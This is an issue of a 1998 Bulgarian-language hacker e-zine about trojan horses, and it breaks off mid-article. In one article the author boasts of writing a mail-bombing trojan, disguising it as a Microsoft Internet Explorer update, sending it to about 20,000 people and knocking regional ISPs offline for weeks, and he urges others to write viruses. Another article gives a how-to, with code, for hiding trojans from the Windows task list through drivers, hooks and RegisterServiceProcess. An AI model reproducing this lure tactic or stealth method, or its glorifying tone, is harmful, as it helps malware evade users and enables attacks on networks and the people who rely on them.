Warning: This text file's to be used for educational purposes only ! If you find any Anti-BTC, H/C/P/A/W materials to be offensive STOP reading this text file right NOW! Phreedom shall not be liable for any direct or indirect damages caused by the use / misuse of the information below ! http://fast.to/phm aSCii aRT aND DeSiGN By:EXo Ú¿Ú¿Ú¿Ú¿Ú¿Ú¿Ú¿Ú¿Ú¿Ú¿Ú¿Ú¿Ú¿Ú¿Ú¿Ú¿Ú¿Ú¿Ú¿Ú¿Ú¿Ú¿Ú¿Ú¿Ú¿Ú¿Ú¿Ú¿Ú¿Ú¿Ú¿Ú¿Ú¿Ú¿Ú¿Ú¿Ú¿ ÚÙÀÙÀÙÀÙÀÙÀÙÀÙÀÙÀÙÀÙÀÙÀÙÀÙÀÙÀÙÀÙÀÙÀÙÀÙÀÙÀÙÀÙÀÙÀÙÀÙÀÙÀÙÀÙÀÙÀÙÀÙÀÙÀÙÀÙÀÙÀÙÀÙÀ¿ ³ ù ú ³ ³ /ÄÍÍ/ / / /ÄÍÍ/ /ÄÍÍ/ /ÄÍÍ\ /ÄÍ/ /ÄÍÍ/ /\Í/\ oFFiCiaL ³ ³ ³ º ³ ³ ³ º ³ ³ ³ \ / º ³ ³ º aNTi-BTC ³ ³ ³ ³ ³ º ³ ³ ³ ³ ³ \ ³ ³ ³ ³ ³ MaGaZiNe ³ ³ /ÄÍÍ/ ÃÄÍÍ´ /ÄÍÍ/ /ÄÍ+ /ÄÍ+ ³ º ³ ³ ³ ³ ³ þùú úùþ ³ ³ ³ ³ º ³ \ ³ ³ ³ ³ ³ / ³ + ³ 08.11.98 ³ ³ Ï Ï Ï Á \ \ÄÍÍ\ \ÄÍÍ\ \ÄÍÍÍ/ \ÄÍÍ/ Ï Ï iSSue 17 ³ ³ ú ú ³ À¿Ú¿Ú¿Ú¿Ú¿Ú¿Ú¿Ú¿Ú¿Ú¿Ú¿Ú¿Ú¿Ú¿Ú¿Ú¿Ú¿Ú¿Ú¿Ú¿Ú¿Ú¿Ú¿Ú¿Ú¿Ú¿Ú¿Ú¿Ú¿Ú¿Ú¿Ú¿Ú¿Ú¿Ú¿Ú¿Ú¿ÚÙ ÀÙÀÙÀÙÀÙÀÙÀÙÀÙÀÙÀÙÀÙÀÙÀÙÀÙÀÙÀÙÀÙÀÙÀÙÀÙÀÙÀÙÀÙÀÙÀÙÀÙÀÙÀÙÀÙÀÙÀÙÀÙÀÙÀÙÀÙÀÙÀÙÀÙ ú ú ù ù þ ÃÄÄÄ¿ ÚÚÄ¿ ÚÄ¿ þ º ÚÄÙ ³³Â³ ³ Á ú º º ³ ³ÀÙ³ ³  ù º º Á ÀÄÄÙ ÀÄÄÙ þ º º ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ º º º º auTHoR/BRouGHT By º º úÄÍÍÍÍÍÍÍÍÍÍÍÍÍÄú º º úͶ1ÇÍ´ It's goin' to be cool, as I've heard...(intro) EXo º º º º úͶ2ÇÍ´ What the Fuck Happened in Tyrnovo ? Bad Sector º º º º úͶ3ÇÍ´ Hiding Trojans Solar Eclipse+EXo º º º º úͶ4ÇÍ´ Backdoors in U**x Systems ManiaX º º º º úͶ5ÇÍ´ Some Updates to Article #2/Issue #12 IronCode º º º º úͶ6ÇÍ´ Writing W'9X Steal Horses - In Depth EXo º º º º úͶ7ÇÍ´ Buffer Overflow Basics Kay º º º º úͶ8ÇÍ´ ISP Phones, etc. http://fast.to/phm º º º º úͶ9ÇÍ´ Members List of Anti-BTC and other Stuff Classified º º º Ç Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä¶ º º º It's goin' to be cool, as I've heard... by: EXo º º ÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄ ÄÍÍÍÍÍÄ º º º º " ...da, maj ste bude super broj kakto razbiram" º º Kay, ICQ conversation º º º º Cool li ? Ta to cqloto e prosto hypercool(e..hehhe... bez introto de :).º ºNikoga ne sym predpolagal, che movem da se napregnem dostatychno i daº ºdokarame takyw dobyr broj. Wiarno, che se zabawi dosta (pochti mesec iº ºpolowina), no sega kato stoi pred was preduprevdwajki wi, che e samo zaº ºobrazowatelni celi :), prosto niama kak da ne go izlapate na edin duh. I tyjº ºkato Table of Contents sekciata e naj-otgore nqma nachin da ne ste seº ºdosetili za temata na toia broj - Troyanski Kone. 160k Polezno Info !!! º º Kakwo e troyanski kon ??? E pyk niama da wi kava - iziavte si putucite !º º Makar che, towa slowosychetanie naposledyk dosta nateva populiarizaciataº ºmu do goliama stepen se dylvi na dwe osnowni sybitia ot izminalite 2-3º ºmeseca: º º º º 1) Flood-a na tyrnowskite provideri (wv. Article #2 po-dolu) º º 2) Poiawata na BO (Back Orifice) na Cult of the Dead Cow. º º º º Dokato pyrwoto donese izwestnost na starata bylgarska stolica po celiaº ºswiat, wtoroto edinodushno be opredeleno kato naj-lamerskata proiawa zaº ºcialata istoria na mrevata. I to ne samo zastoto kuco i sakato se zalowi daº º"hackerstwa", a zastoto wse po-malko hora se opitwat da syzdadat sobstweniº ºtroyanski kone. S dwe dumi - wsichko viwo totalno se lamerizira. º º Eto zasto celta na tozi broj e glawno da wi wywede w niakoi tynkosti wº ºzanaiata i da wi podtikne da tworite. W nego e sybran opit-yt na niakolkoº ºawtora, wseki edin ot koito e rabotil w razlichna nasoka po wyprosa.º ºNadiawame, se che ste namerite dostatychno nowa i polezna informacia,º ºzastoto ste e valko tozi tolkowa dulgo i staratelno podgotwen broj da prawiº ºsamo nenuven trafik i da pylni mailboxowe. Estestweno wsichko zawisi ot was.º º Tyj kato textowete sa plod na sobstwenite ni experimenti, move nevolnoº ºda sme napuhali niakoj bug tuk-tame. Kato cialo ideite sa dokazani wº ºpraktikata i dori da bydat realizirani po drug nachin i/ili s drugi sredstwaº ºsys sigurnost niama da wi podwedat. º º * * * º º W intro statiata se predpolaga da ima i drugo po-obsto info swyrzano sº ºPhreedom magazine i zatowa smiatam che e dobre da wi uvedomia, cheº ºoficialnia web address na spisanieto ste e http://fast.to/phm, tyj katoº ºskoro planirame premestwane ot Tripod, no wse oste ne e iasno nakydeº ºpo-tochno. www.ancient.pain.nat.bg e krajno wreme da zaraboti kato homepageº ºna demo grupata Ancient Pain, no koga ste ima wreme za syzdawaneto na samiteº ºstranici nikoj ne move i da predpolovi dave. º º Sto se otnasia do ostanalite statii, koito mi biaha izprateni - teº ºwsichki ste se poiawiat w naj-skoro wreme w PHM Issue #18, poneve tozi brojº ºsi e samo Troyan Horse related. Makar, che wremeto e naistina znachestaº ºvelichina w sluchaia, ste naprawim wsichki wyzmovno da wi podnesem statii sº ºAnti-BTC nasochenost. º º I predi da ste nagrabiliu sledwastia TOP Article triabwa da wi uwedomim,º ºche poluchime na e-maila na spisanieto (phreedom.ap@usa.net) edno dostaº ºintersno mailche, w koeto s dwe dumi be anonsirano, che grupa fenowe zdrawoº ºse zakanwat na BTC. Imenata na sa si pisali, nito nick-owete, a postata eº ºpratena s anonymous remailer - hitri momkowci, niame dwe mnienia. No ot towaº ºkoeto be wytre mi nastruhwat kosmite na... ..... . wutreshnata ushna kuhina.º º º º {Stiga tolkowa s towa intro, i bez towa ne se kotira wisoko...} º º º Ç Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä¶ º º º What the Fuck Happened in Tyrnovo ? By: Bad Sector, Veliko Tyrnovo º º ÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄ ÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄ º º º º W kraq na septemwri i nachaloto na oktomwri westnicite grumnaha, cheº ºnqkoj si hacker ot Veliko Turnovo blokiral INTERNET. Poqwiha se gluposti otº ºsorta na "Shte izkluchwat Bulgaria ot INTERNET", "Epidemiq ot virusaº º'Trojanski kon'" i kakwo li oshte ne. º º º º Kakwo stana wsushtnost? º º º º Prosto se bqh mnogo qdosal na mestnite ISP-ta, shtoto wse mi dropwahaº ºliniqta i mi preebawaha chestno otkradnatite acc-ta i reshih da im swiqº ºmalko perkite. Ne bqh majstor na mailbombite, no znaeh kakwi porazii move daº ºnaprawi ekstremalnoto kolichestwo poshta w edno ISP. Ideqta, koqto mi hrumnaº ºbeshe strahotno umna. Poneve otkydeto i da prashtam poshta, winagi mogat daº ºmi preebat SMTP servera ili da mi bannat domain-a ili neshto drugo iº ºwsichkiq mi trud da otide na wqtyra i ISP-tata da ostanat viwi i sdrawi,º ºizmislih da napisha edno malko troyansko konche i da go razpratq na 20-30º ºhilqdi dushi kato gi izluva po nqkakuw nachin da go pusnat. º º Kakto wseki swesten programist az nqmah problemi s napiswaneto naº ºbacila. Naprawih go da prashta ot imeto na razni sluchajni serveri, sysº ºsluchaen subject i sydyrvanie po takuw nachin, che pochti da ne move da seº ºfiltrira. Iztestwah go i slovih e-mailowete na wsichkite 4 ISP wyw Turnovoº ºda se atakuwat. Za da polzwam po-efektiwno wruzkata na zarazenata vertwa zaº ºda prashta e-mail na ISP-tata i w syshtoto wreme da ne i zadrustwamº ºwryzkata, za da move tq da raboti normalno, naprawih programata taka: 2º ºsekundi prashta e-mail kato luda i 2 sekundi pochiwa. Taka ako zarazq nqkogoº ºs LAN wryzka, rezultatite mogat da sa naprawo pechalni za ISP-to. Ta znachiº ºnapisah si az trojanskiq bacil i go razpratih za 1 nosht prez DigSys naº º20-tina hilqdi dushi. Napisah im che e upgrade za Internet Explorer-a,º ºshtoto w nego imalo bugowe i razbira se se podpisah kato "Microsoftº ºCorporation Support". º º Qwno naiwni hora ima mnogo. Sled 1-2 dni zapochnaha da pishtqt ISP-tata.º ºPochnali da poluchawat strashno mnogo poshta ot celiq swqt - ot Avstraliq doº ºEvropa i USA. Hitroto beshe, che polzwah SMTP servera na syotwetnoto ISP, zaº ºda mu prashtam poshta. Edinstwenoto spasenie im beshe da si mahnat SMTP-to,º ºpri koeto nqma da mogat da poluchawat izobshto poshta i klientite shteº ºpropishtqt. Zatowa se poluchiha naistina wpechatlqwashti rezultati. º º Ednoto ISP poluchawashe po 2000 pisma w chas, drugoto po 20000 na den iº ºnikoj nishto ne movesehe da naprawi. Dori System Administratora na DigSYS zaº ºBulgaria ne mova da se sprawi i zatowa zatwori celiq DigSYS za Turnovo. º º Sled 1 sedmica polovenieto beshe naprawo dramatichno: º º 1. Ot BITEX Sofia zaplashiha firma VALI-pedali, che shte im izkluchnatº ºliniqta (vt.bitex.com), shtoto praweli mnogo transfer i im natowarwaliº ºmrevata. º º 2. Firma TetraMiNet (tetra.bg) puk si plashtaha liniqta na transfer iº ºtazi poshta gi wkara nqkoq i druga hilqdarka w zeleno (ne che platiha, amº ºkaraj). º º 3. BIA (vt.bia-bg.com) pyk si poemaha wsichko i ne se praweha che ne imº ºpuka (togawa bqha sas satelit) Imaha i te po nqkolko hilqdi pisma na den,º ºama naprawo si gi trieha. º º 4. DigSYS (tarnovo.eunet.bg) pyk kakto kazah si sprqha servera. º º º º TetraMiNet shteshe da spre, zashtoto ot USA gi zaplashli che ako doº ºnqkolko dni bombata ne spre, shte im izklucnat liniqta. W krajna smetkaº ºfirma VALI-pedali ne raboteshe pochti 2 sedmici. TetraMiNet raboteshe, amaº ºna skorostta na modem 1200kbs. BIA beshe malko po-byrza, no i tq uwiswasheº ºot wreme na wreme. Ponqkoga nqmashe nito edno ISP, koeto da raboti, za daº ºwlqza i da widq kwo stawa i da si procheta poshatata. Sistemniteº ºadministratori besheeha i cherweneeha. Ne spqha po celi nohsti, no ne movehaº ºda se sprawqt. º º W RootShell-a otnqkyde nadushili kwo stawa i wednaga go capnali wº ºnowinite (wiv w www.rootshell.com). Microsoft Corporation pyk na ednoº ºoficialno predstawqne na now software posochili sluchaq s "bulgarskiqº ºhacker" kato primer kak ne trqbwa da se izpolzwa mrevata. º º Zapochnaha da dushat i westnicite. W ComputerWorld na pyrwa stranica wº ºbroj 32 se poqwi statiqta "Veliko Turnovo w hackerna obsada". Towa besheº ºnaj-gramotno napisanata statiq ot wsichkite i poshti otgowarqshe naº ºistinata. Sled nqkolko dni zapochnaha da se poqwqwat prostotiite, klukite iº ºt.n. W "24 cahsa, broj 238" se poqwi slednoto: "Uchenik ot Turnovo blokiraº ºINTERNET". Na sledwashiq den w syshtiq westnik se poqwi i "Tyrnowski wirusº ºzadrysti INTERNET". Westnik "Kontinent" sushto pisa: "Boikotirat INETRNET.º ºGrupa hackeri ot Veliko Turnovo boikotirat INTERNET s elektronna poshta".º ºLokalnite Turnowski westnici - Novini, Dnes i Borba syshto napisah po nqkoqº ºi druga kluka. Nqkolko radio kanala izwestiha po swoj nachin klukata. "168º ºChasa" pisa za stanaloto i oshte nqkolko westnika pisaha gluposti. Eto iº ºizwadki ot naj-interesnite statii, podhodqshti za w-k "200 wica": º º "Momche ot Veliko Turnovo blokira INTERNET i abonatite na swetownataº ºmreva imat problemi s dostypa do informaciq, syobshti wcera radio Swobodnaº ºEvropa.". Ha-ha-ha. Qwno celiq swqt e imal problemi ;)) º º "Komputerniqt huligan proniknal w komputrite na hilqdi abonati crezº ºwirusa 'Trojanski kon'" º º "Za kratko wreme se generirali MILIONI syobshteniq za edin adresant,º ºkoeto zastrashilo mrevata u nas i w chuvbina". Maleeeeeeeee, ochewidno eº ºstawalo wypros za problem ot swetowen mashtab. INTERNET e zastrashena otº ºizchezwane. I t'wa go naprawih az. Leleeeeeeeeeee, az sym bil zyl genij beº º;)) Golqm majtap - milioni pisma. S towa moga da floodna ne samoº ºwhitehouse.gov, microsoft.com, nasa.gov, navy.mil, mit.edu i t.n., no majº ºceliq swqt ednowremenno. Hmm, trqbwa da pomislq po wyprosa. Da ne zabrawqmeº ºche weche shte izkluchwat Bulgaria ot INTERNET-a :)))) Ha-ha-ha. º º "Naj-chesto malavedyt razprostranqwal necenzurni tekstowe, podpisaniº º'zmei.bg' i adres na elektronnata poshta '080898.exe'. Firmaº º"Informacionni Sistemi' preduprevdawat ako otkriete elektronno pismo ot toziº ºadres, da ne go otwarqte". Towa e wyrha na majtapa. Poneve imeto naº ºshtaigata mi beshe 'zmej.bg' kogato prashtah na 20-hilqdi typanariº ºtrojaneca, umnicite ot mediite smetnali che towa e servera na bulgarskiteº ºhackeri i wsichko idwa ot tam i se podpiswa s towa ime. Uchudi me nowinata,º ºche INTERNIC sa pusnali nowite domain-i '.exe'. Az si misleh, che imeto naº ºfajla, w kojto beshe trojaneca beshe 'ie080898.exe', no wse pak te saº ºspecialisti i znaqt po-dobre, che towa e adres na elektronna poshta. º º Firma 'Cifrowi sistemi' pyk si smenila imeto na 'Informacionni sistemi'.º º "Kak de se predpazim? Kogato weche ste otworili parazitnite syobshteniqº ºi widite neshto podozritelno, wnimatelno izlezte ot wsichki procesi. Neº ºgasete komputera wednaga. Pri rabota s 'uindous' towa e opasno. Polezenº ºnawik za wseki, rabotesht s elektronna poshta e winagi kogato iska daº ºprocete fail, prikrepen kym syobshtenieto, zadylvitelno da go otwori, no bezº ºda go syhranqwa po diska." Da, towa e mnogo umno. Ako wsichki useri bqhaº ºtolkowa naiwni, dosega shtqh da sym root na whitehouse.gov i navy.mil, kaktoº ºi na btc.bg. Hitro e izmisleno. Znachi sled kato pusnesh trojaneca i toj teº ºzarazi si izkluchwash computera i si spasen ot nego. Ha-ha-ha. Kolko hitro.º ºPyk za BTK pak shte si gowirim po-nadolu. º º Ot westnicite syshto razbrah, che vurusyt "Trojanski kon" se razmnovawalº ºlawinoobrazno. Ot 1 stawali 100, a ot tezi 100 - 10000 trojaneca. Maleee, azº ºnaprawo sam syzdal globalen swetowen problem. INTERNET umira. Naj-dobre e,º ºsywetwam az, da sprem da izpolzwame computeri. Nqma smisyl. Ot tozi virusº ºnqma spasenie ;)))) º º W "Kontinent" pisaha kak desetina tinejdzercheta zadrystili INTERNET sº ºelektronna poshta. Ha-ha-ha. Te dori ne znaqt che sam student. I po-dobre,º ºshtoto mnogo hora tuka si izpatiha zaradi men. Tam pishe sushto, che te biliº ºarestuwani i ot tqh shte se tyrsi nakazatelna otgowornost. Roditelite iº ºuchitelite im bili uwedomeni, no wypreki towa atakite ne prestanali. Leleee,º ºkwo sha prawq siga. Ami te my aristuwali, bez da razbiry. Sigurnu my tyrsqtº ºi ot FBR i ne samu ut tam. Mi ky my hwanyt? De shy bqgym. Wyw westnikaº ºpishe, che tyrnowskite huligani sa syzdali problemi po celiq swqt, mrevataº ºne funkcionirala. Mi za twa mogat da me grymnat. Ko shy prawq? º º Iskam da pozdrawq specialno wsichki pisachi na virusi i trojanci.º ºPishete, bratq, pishete! Towa e budeshteto!!! º º º º (B.Red: Eto wi kakwo e to troyan master. Nqma ebawka, nqma hwalbi -º ºchoweka prosto im razkaza igrata. Onia se skusaha da pishat senzacionniº ºstatii, a edin kydyren ne se nameri da napishe wsichko kakto podobawa - sramº ºi pozor. Mislq, che tazi statiq dostatychno dobre iliustrira kyde e istinataº º- Phreedom magazine) º º º Ç Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä¶ º º º Hiding Trojans By: Solar Eclipse + EXo º º ÄÍÍÍÍÍÍÍÍÍÍÍÍÄ ÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄ º º º º º º "Do sega obache dori naj-dobrite pisachi na fisheri ne sa uspeli da seº ºsprawqt s problema za skriwaneto na konq ot ochite na user-a." º º º º Star Gruhtar, PHREEDOM 16 º º º º Mda... Obache towa ne e suwsem wqrno. W sledwashtitie nqkolko straniciº ºshte wi pokavem nqkolko nachina za skriwane na troqnec ot Ctrl-Alt-Delº ºtasklist-a (ako ne znaete za kakwo stawa duma, prochetete po-gore citiranataº ºstatiq na Star Gruhtar). Chetiri ot tezi nachina shte obqsnim tochno kakº ºstawat, ostanalite sa samo idei (nerealizirani - ostawqme wi gi za domashnº º:-) º º º º []. Introduction º º º º Eto nakratko nachinite za skriwane na programa ot tasklista: º º º º 1) pisane na Installable Device Driver - wupreki che powecheto ot wasº ºsigurno potrupwat pri dumite "pisane na driver", towa stawa adski lesno.º ºIma i predimstwa: skriwaneto e po-dobro otkolkoto wtoriq nachin i pozwolqwaº ºda imate neshto kato memory resident DLL (bez EXE stub). Towa e poleznoº ºako shte hook-wate neshto. º º º º 2) izpolzwane na dokumentiranoto(!) API RegisterServiceProcess -º ºpozwolqwa skriwane na proizwolno EXE. Predimstwa: izpolzwa se dokumentiranoº ºAPI i skriwaneto stawa s dobwqneto na 1 (edin) red w programata wi. º º º º 3) direktno modificirane na tablicata s dannite za running taskowete wº ºWindowsa ili modificirane na koda w KERNEL32.DLL koito pokazwa dialoga priº ºnatiskane na Ctrl-Alt-Del (ostawqm wi go za domashno) º º º º 4) pisane na VxD (pak za domashno) º º º º I oste 2 ot men (EXo): º º º º 5) Cache-irane na .DLL º º º º 6) Prihwastane na WH_CREATEWND i prerisuwane na wsichko, koeto move da º º wi izdade. º º º º Poslednite dwa nachina sa kato da trepesh muhi s bazuka ili "killingº ºbunnies with axes" - pri nalichieto na mnogo po-lesni nachini upotrebata imº ºe bezsmislena. No ako iskate da pishete neshto naistina seriozno - goreshtoº ºwi preporuchwam pisane na VxD. º º º º I. Installable Device Drivers º º º º 1) Kakwo e to? º º º º Purwo shte wi obqsne malko po-podrobno za towa kakwo e Installableº ºDevice Driver i kak se pishat, zashtoto tazi informaciq se namira adskiº ºtrudno - osobeno na site-a na M$. º º Kolkoto i da ne e wqrwame na pruw pogled, razlikite mevdu Win 3.x i Winº º9x po otnoshenie na wutreshnata arhitektura sa minimalni - i dwete izpolzwatº ºedin i susht "driver model". Ima dwa wida driveri - Installable Deviceº ºDrivers (sus razshirenie .DRV) i Virtual Device Drivers (sus razshirenieº º.386 ili .VXD) Windows 98 izpolzwa i edin now wid driveri narechen WDM iliº ºWin32 Driver Model, no za tqh nqma da goworq poweche. Shte se koncentriramº ºwurhu DRV driverite - towa e celta na tozi text wse pak. º º º º 2) Kak raboti? º º º º Istallable Device Driver (shte go naricham prosto driver za po kratko)º ºpredstawlqwa edno DLL koeto se pishe i raboti tochno kakto wsichki normalniº ºDLL-ta, no razlikata e che to exportira funkciq narechena "DriverProc".º ºWindows izwikwa tazi funkciq za da podawa messages na drivera. Principa eº ºsushtiq kato na window procedurite. º º º º Eto q i declaraciqta na DriverProc: º º º º LRESULT CALLBACK DriverProc(DWORD dwDrvID, // driver ID º º HDRVR hDrv, // driver handle º º UINT msg, // message ID º º LPARAM lParam1, // parameter 1 - msg specific º º LPARAM lParam2); // parameter 2 - msg specific º º º º Returns: Message-specific value, but generally TRUE (or a non-zeroº ºmessage-specific value) if successful and FALSE if failed. º º º º Drivera trqbwa da obrabotqa messagite koito move, a za ostanalite seº ºizwikwa DefDriverProc. Ne wi li napomnq za DefWindowProc? º º º º LRESULT WINAPI DefDriveProc(DWORD dwDrvID, // driver ID º º HDRVR hDrv, // driver handle º º UINT msg, // message ID º º LPARAM lParam1, // parameter 1 - msg specific º º LPARAM lParam2); // parameter 2 - msg specific º º º º Returns: Message-specific value, but generaly TRUE. See specificº ºmessages for details. º º º º 3) Kakwi sa messagite koito se poluchawat? º º º º NOTE: Ako pri opisanieto na nqkoe message ne sum kazal nishto za lParam1º ºi lParam2 to te ne se izpolzwat. º º º º DRV_LOAD and DRV_FREE º º úÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄú º º º º Purwoto message koeto se poluchawa pri zarevdane na driver e DRV_LOAD.º ºTrqbwa da wurnete TRUE, zashtoto inache Windwos shte shte unloadne driveraº ºbez da mu prati DRV_FREE msg. DefDriverProc wrushta TRUE. º º Kogato drivera se unloadwa ot pametta (ako drivera se zarevda otº ºSYSTEM.INI a ne dynamichno towa stawa pri shutdown na windowsa) se izprashtaº ºsuobshtenie DRV_FREE. Nqma znachenie kakwo wrushtata - nishto nqma da wiº ºspasi ot unloadwane :-) º º º º DRV_OPEN and DRV_CLOSE º º úÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄú º º º º Sled kato drivera e zareden, programite mogat da go izpolzwat kato goº ºotworqt sus funkciqta OpenDriver, izprashtat suobshteiq kum nego susº ºSendDriverMessage i nakraq go zatworqt sus CloseDriver; nqma da razglevdamº ºtezi funkcii zashtot te ne ni trqbwat, no drivera trqbwa da move daº ºotgowarq na suobshteniqta porodeni ot tqh. º º Btw, dori kogato wie pishete swoi driver i nikoq programa ne go polzwa,º ºsamiq Windows otwarq drivera, taka che DRV_OPEN i DRV_CLOSE se poluchawat. º º DRV_OPEN se izprashta kogato nqkoq programa se opitwa da otworiº º(izpolzwa) drivera. lParam1 sochi kum ASCIIZ string sudurvasht parametrite,º ºkoito se namirat sled imeto na drivera wuw SYSTEN.INI (NULL ako nqmaº ºparametri) lParam2 = lParam2 ot OpenDriver functiqta s koqto se otwarqº ºdrivera. Mnogo e wavno da wurnete TRUE, zashto inache windowsa maha driveraº ºot pametta i ako imate hook-owe stawa losho. DefDriverProc wrushta FALSE. º º Poznaite koga se izwikwa DRV_CLOSE... Negowite lParam1 i 2 sa sushtiteº ºkakwito sa podadeni na CloseDriver funkciqta. Wrushtaite TRUE.º ºDefDriverProc wrushta FALSE. º º º º Drugi interesni messagi º º úÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄú º º º º Ima oshte nqkolko messagi, koito sa interesni, no nqmat wruzka susº ºzaglawieto na tazi statiq - wse pak niq nqma da pishem driveri za hardware.º ºNo wse pak shte spomenem DRV_EXITAPPLICATION (prashta se kogato nqkoqº ºprograma terminira) i DRV_EXITSESSION (prashta se kogato Windows seº ºshut-downwa). Za wsichki ostanali message oswen DRV_OPEN i DRV_CLOSEº ºspokoino move da izwikwate DefDriverProc i da ne wi puka - pak shte siº ºraboti. º º º º 4) Zabelevki otnosno kompilaciqta º º º º Problema s kompilaciqta e che powecheto kompilatori na C nqmatº ºneobhodimite header fileowe za razrabotka na driveri. Wse pak potursete, noº ºdori i da nqma ne se otchaiwaite - wuw wsqko DDK gi ima. Problema e cheº ºtochno tezi definicii i prototipi koito na nas ni trqbwat sa razhwurlqni naº ºmnogo mesta iz DDK-to. Az si sglobih edin file DRIVER.H sus neobhodimiteº ºneshta: º º º º -- DRIVER.H -- º º º º /* Ripped from Win98 DDK */ º º º º /* Structures and typedefs */ º º º º typedef HANDLE HDRVR; º º º º /* Callback procedure */ º º typedef LRESULT (CALLBACK* DRIVERPROC)(DWORD, HDRVR, UINT, LPARAM, LPARAM);º º º º /* Driver messages */ º º #define DRV_LOAD 0x0001 º º #define DRV_ENABLE 0x0002 º º #define DRV_OPEN 0x0003 º º #define DRV_CLOSE 0x0004 º º #define DRV_DISABLE 0x0005 º º #define DRV_FREE 0x0006 º º #define DRV_CONFIGURE 0x0007 º º #define DRV_QUERYCONFIGURE 0x0008 º º #define DRV_INSTALL 0x0009 º º #define DRV_REMOVE 0x000A º º #define DRV_EXITSESSION 0x000B º º #define DRV_EXITAPPLICATION 0x000C º º #define DRV_POWER 0x000F º º #define DRV_NOTIFYMSG 0x0010 º º #define DRV_RESERVED 0x0800 º º #define DRV_USER 0x4000 º º º º /* Return values from DriverProc() function */ º º #define DRV_CANCEL DRVCNF_CANCEL º º #define DRV_OK DRVCNF_OK º º #define DRV_RESTART DRVCNF_RESTART º º º º /* Supported lParam1 of DRV_EXITAPPLICATION notification */ º º #define DRVEA_NORMALEXIT 0x0001 º º #define DRVEA_ABNORMALEXIT 0x0002 º º º º /* Installable drivers API functions */ º º LRESULT WINAPI DefDriverProc (DWORD dwDriverIdentifier, HDRVR driverID, º º UINT message, LONG lParam1, LONG lParam2); º º -- End DRIVER.H -- º º º º Interesen za otbelqzwane e fakta che DLL-to trqbwa da e 16-bitowo... Wº ºnachaloto towa mnogo me strqskashe, no swiknah. Btw, ako naprawite TDUMP naº ºmouse.drv i drugite driveri wuw Windows (dori Win98) shte widite che i te saº º16 bitowi. º º Sushto taka ZADULVITELNO e da ima exportirana WEP procedura - dori da eº ºsamo edin burz RET. Powecheto kompilatori sami q slagat, no wse pak seº ºubedete che q ima. º º º º 5) I men towa kakwo me gree?!? º º º º Sigurno weche zapochna da stawa skuchno, no kakwo da se prawi, M$ neº ºdawat documentaciq i trqbwa sami da si q pishem... º º º º Cqlata tazi rabota s driverite ni gree mnogo, zashtoto po tozi nachinº ºmogat da se suzdawat memory-resident DLLs. Ako nqkoga ste pisali hook,º ºznaete che wi trqbwa EXE koeto instalira hook-a, a samiq hook se namira wº ºDLL. Ako sled kato instalirate hook-a EXEto prekrati rabotata si, windowsº ºne se useshta che hook-a izpolzwa code w DLL-to i go unloadwa... Rezultata eº ºobiknoweno e plachewen :-( º º º º Nqma da wi ucha kak se pishe hook, puk i sigurno weche sami se seshtateº ºkak da si naprawite DLL-to s hook funkciqta residentno. Za tezi koito neº ºse seshtat eto kak: º º - pishete 16 bitowo dll, w koeto ima DriverProc i HookCallbackProc. º º - pri DRV_OPEN i DRV_CLOSE prosto se wrushta TRUE º º - pri DRV_LOAD hooka se instalira (SetWindowsHookEx) º º - pri DRV_FREE hooka se maha º º - w HookCallBackProc se namira coda na hook-a º º º º Towa e wsichko. º º º º II. RegisterServiceProcess API º º º º 1) Kakwo e to? º º º º Pri Win NT sushteswuwa edin specialen tip programi narecheni services.º ºIdeqta e che tezi programi produlvawat da wurwqt dori kogato usera seº ºlog-offne. (ha, dali ne move da se napishe keylogger?) º º Pri Win 9x ima edna mnogo orqzana wersiq na Service API-to... wsushtnostº ºsamo edna funkciq - RegisterServiceProcess. Nqma da obqsnqwam poweche,º ºzashtoto towa go ima w SDK-to. Imaite predwid che HLP failowete ot Win95 SDKº ºsa bugawi i nqma da go namerite w indexa - trqbwa da otworite ruchno failaº º95guide.hlp. º º º º 2) Za kakwo move da bude polzwano? º º º º Edinstwenata razlika mevdu programa service i programa ne-service podº ºWin95 e che programata service ne se wivda w tasklista (wow!). º º º º 3) A kak? º º º º Za da prewurnete wsqka programa w service trqbwa nqkude w sourca daº ºslovite reda: º º º º RegisterServiceProcess(NULL, RSP_SIMPLE_SERVICE); º º º º Ako iskate da wurnete programata w normalnoto i sustoqnie izwikaiteº ºtowa: º º º º RegisterServiceProcess(NULL, RSP_UNREGISTER_SERVICE); º º º º Az si naprawih programa s edno butonche, koeto kato go natisna iº ºprogramata izchezwa ot tasklista, kato go natisna pak - poqwqwa se (ewtinº ºfun :-) º º º º 4) Nqma li nedostatuci? º º º º Ima - programata se wivda s MS System Information - w grafata Runningº ºTasks. Driverite sushto se wivdat, no na po-trudno zabelevimo mqsto. º º(B.Red: Movete i s prostiq dr. Watson da q hwanete, no toj taka ili inache º ºfasta i wsichki hook-owe.. niama absolute-no newidimi nesta :) º º º º III. Modifying KERNEL32.DLL º º º º Ako otworite KERNEL32.DLL s resource editor shte widite che Ctrl-Alt-Delº ºdialoga se namira tam kato resource. Towa znachi che i koda za pokazwanetoº ºmu sushto e tam. Ako imate izlishno wreme movete da si poigrate sus SogtIceº ºi IDA i da napishete nqkakuw patch. º º º º IV. Pisane na VxD º º º º Adski slovno, no i adski moshtno. Drug put shte pisha po-podrobno zaº ºtowa. Ako iskate samo da skriwate 